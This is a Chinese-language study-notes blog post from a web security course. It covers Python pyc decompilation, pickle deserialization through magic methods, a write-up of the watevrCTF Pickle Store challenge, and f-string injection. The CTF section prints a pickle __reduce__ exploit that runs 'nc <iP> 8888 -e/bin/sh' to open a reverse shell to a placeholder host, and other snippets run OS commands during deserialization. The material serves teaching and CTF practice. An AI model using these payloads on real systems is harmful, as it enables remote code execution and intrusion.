小迪安全v2023学习笔记(七十一讲)—— Python安全&反序列化&反编译&格式化字符串安全

前记

  • 今天是学习小迪安全的第七十二天,本节课是语言类安全的最后一节课,主要是Python的反序列化安全
  • 内容比较少,实战也可能不经常遇到,但是CTF可能遇到,所以还是了解一下

WEB攻防——第七十一天

Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全

Python - PYC-反编译文件出源码

介绍
  • pyc 文件是 py 文件编译后生成的字节码文件(byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此 pyc 文件是可以跨平台部署的,类似 Java.class文件,一般 py 文件改变后,都会重新生成 pyc 文件。
演示

Python - 反序列化-调用链&魔术方法

各类语言序列化和反序列化函数
  • JavaSerializable Externalizable 接口、fastjsonjacksongsonObjectInputStream.readObjectObjectInputStream.readUnsharedXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject
  • PHPserialize()unserialize()
  • PythonpicklemarshaljsonPyYAMLshelvePILunzip
序列化和反序列化含义
  • 序列化:把类对象转化为字节流或文件
  • 反序列化:将字节流或文件转化为类对象
Python中常用的序列化/反序列化函数
  • 字符串/文件
    • pickle.dump(obj, file):将对象序列化后保存到文件
    • pickle.load(file):将文件序列化内容反序列化为对象
    • pickle.dumps(obj):将对象序列化字符串格式的字节流
    • pickle.loads(bytes_obj):将字符串字节流反序列化为对象
  • JSON
    • json.dump(obj, file):把 Python 对象序列化JSON 文本 并写入文件
    • json.load(file):从文件读 JSON 文本并反序列化成 Python 对象
    • json.dumps(obj):将对象序列化为JSON文本
    • json.loads(json_str):将JSON字符串反序列化为Python对象
  • YAML
    • yaml.dump(obj, file):把 Python 对象序列化YAML 并写入文件
    • yaml.load(stream, Loader=...):把 YAML 文本反序列化成 Python 对象
  • marshal:功能与pickle类似,主要用于.pyc字节码文件的读写,普通业务几乎不会使用marshal.dump/load函数
魔术方法
  • __reduce__()反序列化时调用
import pickle  
import os  
  
  
class R:  
    def __reduce__(self):  
        return (os.system, ('calc',))  # 反序列化时执行 os.system('calc')  
  
r = R() 
dt = pickle.dumps(r)   
da = pickle.loads(dt) # 反序列化弹出计算器
  • __reduce_ex__()反序列化时调用
import pickle  
import os  
  
  
class R:  
    def __reduce_ex__(self, protocol):  
        return (os.system, ('calc',))   # 反序列化时执行 os.system('calc')  
        
r = R()  
dt = pickle.dumps(r)  
da = pickle.loads(dt) # 反序列化弹出计算器
  • 其实上面两个函数的原理都是将函数里面的内容写到序列化之后的字符串中,它们得到的值为:b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.',很明显看到有system、calc吧?反序列化之后就直接触发恶意代码弹计算器了

  • __setstate__():反序列化时调用,和php中isset那个相似,需要调用不存在的属性才能触发

import pickle  
import os  
  
class R:  
    def __setstate__(self, state):  
        os.system('calc')  
  
# 给实例随便加一个属性,让它非空!
r = R()  
r.flag = 1  # 只要 __dict__ 非空即可  
  
dt = pickle.dumps(r)  
pickle.loads(dt) # 反序列化弹出计算器
  • __getstate__():序列化时触发
import pickle  
import os  
  
  
class R:  
    def __getstate__(self):  
        os.system('calc')  # 反序列化时执行  
  
  
r = R()  
dt = pickle.dumps(r)  
print(dt) # 序列化弹出计算器
发现
  • 白盒直接搜索上述的关键函数即可
  • 黑盒中通过Python反序列化的特征:base64编码时前面gA固定,发现反序列化数据,可能出现的地方(getpostcookie…)
import base64  
import pickle  
  
class R:  
    def __init__(self):  
        pass  
  
r = R()  
dt = pickle.dumps(r)  
base64_dt = base64.b64encode(dt)  
print(base64_dt)
# 输出:b'gASVFQAAAAAAAACMCF9fbWFpbl9flIwBUpSTlCmBlC4='
案例演示——[watevrCTF-2019]Pickle Store
  • 这里通过一个CTF赛题来演示,题目来自BUUCTF的Pickle Store,现在靶机已经能正常打开了
    在这里插入图片描述

  • 我们看它的商品最后一个可能是flag
    在这里插入图片描述

  • 但它卖1000,我们只有500,那这种题很大概率就是考怎么把这个钱变成1000然后买flag

  • 还是Web三把手:F12源代码、抓包、扫目录,当然这里我们通过题目Pickle也大概可以知道可能考的是反序列化

  • F12或者抓包发现我们的Session值为gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

  • 很明显gA开头的base64编码,解码看一下:
    在这里插入图片描述

  • 可以看到什么moneyhistory等等,这个和我们的页面是对上的,然后我们直接写一个代码去反序列化:

import base64  
import pickle  
  
base64_sd = b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'  
sd = base64.b64decode(base64_sd)  
dd = pickle.loads(sd)  
print(dd)
# 输出: {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
  • 这里我们就能够尝试改钱了,那就直接改然后序列化提交看看我们的钱会不会变:
import base64  
import pickle  
  
dd = "{'money': 1500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}"  
sd = pickle.dumps(dd)  
base64_sd = base64.b64encode(sd)  
print(base64_sd)
# 输出: b'gASVWgAAAAAAAACMVnsnbW9uZXknOiAxNTAwLCAnaGlzdG9yeSc6IFtdLCAnYW50aV90YW1wZXJfaG1hYyc6ICdhYTFiYTRkZTU1MDQ4Y2YyMGUwYTdhNjNiN2Y4ZWI2Mid9lC4='
  • 将结果提交,网站崩了,泥煤的:
    在这里插入图片描述

  • 这里的问题是它后面有一个anti_tamper_hmac,防篡改的,那说明这里就不能改money的值

  • 重开靶机,然后我们尝试其他的方法,这里既然不让我们改money,那我们就直接尝试反序列化RCE,这里exp是这个:

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc <iP> 8888 -e/bin/sh')",))

a = A()
print(base64.b64encode(pickle.dumps(a)))
  • 这里应该是能够成功的,但是我又没有复现出来,什么鬼,但大致思路就是这样,通过__reduce__(self)函数去构造一个恶意的序列化对象,然后让其进行反序列化执行我们的恶意函数,达到攻击目的

Python - 格式化字符串-类魔术方法引用

  • 参考文章地址:Python Web之flask session&格式化字符串漏洞-先知社区
  • python中格式化字符串的方式有以下四种:
    1. %字符串
    2. string.Template
    3. 调用format方法
    4. f-Strings
  • 这四种方法使用不当都有可能造成RCE漏洞,这里主要是讲第四种,它是python3.6新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式
  • 它造成漏洞的示例代码如下:
print(f'{__import__("os").system("ping 127.0.0.1")} is my friend!')

在这里插入图片描述

  • 他就会执行这里面的ping命令,这个看起来好像没什么用,但是也是一种危害
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值